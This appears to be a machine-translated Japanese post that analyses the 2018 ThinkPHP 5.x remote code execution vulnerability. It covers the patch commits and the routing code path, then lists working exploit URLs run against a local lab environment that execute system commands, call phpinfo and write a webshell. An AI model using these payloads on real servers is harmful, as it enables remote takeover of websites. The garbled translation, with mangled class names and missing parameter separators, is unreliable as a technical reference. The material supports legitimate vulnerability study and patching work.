Jump to content

0x00序文

ThinkPhpのオフィシャルは、2018年12月9日に重要なセキュリティアップデートをリリースし、深刻なリモートコード実行の脆弱性を修正しました。この更新には、主にセキュリティアップデートが含まれます。フレームワークはコントローラー名の十分な検出を実行しないため、強制ルーティングを有効にすることなく、ゲッシェルの脆弱性の可能性につながります。影響を受けるバージョンにはバージョン5.0と5.1が含まれており、できるだけ早く最新バージョンに更新することをお勧めします。

0x01衝撃の範囲

5.x 5.1.31、=5.0.23

0x02脆弱性分析

ThinkPhp v5.0.xパッチアドレス:3https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

thinkphp v5.1.xパッチアドレス:3359github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

ルーティング情報のコントローラーパーツはフィルタリングされており、ルーティングスケジューリング中に問題が発生することがわかります。

キーコード:

l51fgravy5x8641.png

このプログラムは、修正前にコントローラーをフィルタリングせず、攻撃者は\シンボルを導入してクラスメソッドを呼び出しました。

w4iz1ihsnnf8642.png

$ this-app-controllerメソッドは、コントローラーをインスタンス化するために使用され、インスタンスのメソッドが呼び出されます。コントローラーメソッドのフォローアップ:

$モジュールと$クラスは、parsemoduleandclassメソッドを介して解析され、$ classがインスタンス化されます。

lrf01ixx55a8643.png

parsemoduleandclassメソッドでは、$ nameがBackslash \で始まると、クラス名として直接使用されます。名前空間を利用して、$ name(つまり、ルートのコントローラーパーツ)を制御できれば、任意のクラスをインスタンス化できます。

次に、ルーティングコードを振り返ります。ルート/ディスパッチ/url.php: parseurlメソッドコールルート/ルール。pathinfoのルーティング情報を解析するPhp: parseurlpath

fogz5ocpglm8644.png

コードは比較的単純で、フィルタリングなしで/セグメント$ URLを使用することです。

ルートURLはrequest:3360path()から取得されます

jscfupdrxdw8645.png

var_pathinfoのデフォルト構成はsであるため、$ _get ['s']を使用してルーティング情報を渡すことができます。ただし、テスト中に、$ _Server ['pathinfo'] \ in \ in \ in Windows環境に置き換えられます。以前の分析と組み合わせることで、次のように予備コードを取得できます:index.php?s=index/\ namespace \ class/method。

0x03エクスプロイト

Dockerの脆弱性環境ソースコード:https://Github.com/vulnspy/Thinkphp-5.1.29

ローカル環境:thinkphp5.0.15+php5.6n+apache2.0

http://www.thinkphp.cn/donate/download/id/1125.html

1.システム関数を使用して、リモートコマンドを実行します

http://LocalHost3:9096/public/index.php?s=index/think \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=systemvars [1] []=whoami

aevzbudkimv8646.png

2。phpinfo関数を介してphpinfo()の情報を書く

http://LocalHost3:9096/public/index.php?s=index/\ sink \ app/invokeFunctionFunction=call_user_func_arrayvars [0]=phpinfovars [1] []=1

c4i5v0ax02k8647.png

3。Shell:に書き込みます

http://LOCALHOST:9096/public/index.php?s=/\ \ shink \ app/invokefunctionfunction=call_user_func_arrayvars [0]=systemvars [1] []=echo%20^%3c?php%20@ham

xrlrbkoxctb8648.png

または

http://LocalHost3:9096/index.php?s=index/think \ app/invokeFunctionFunction=call_user_func_arrayvars [1] [] []=./test.phpvars []=?php echo 'ok'

g5yfmymv43z8649.png

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...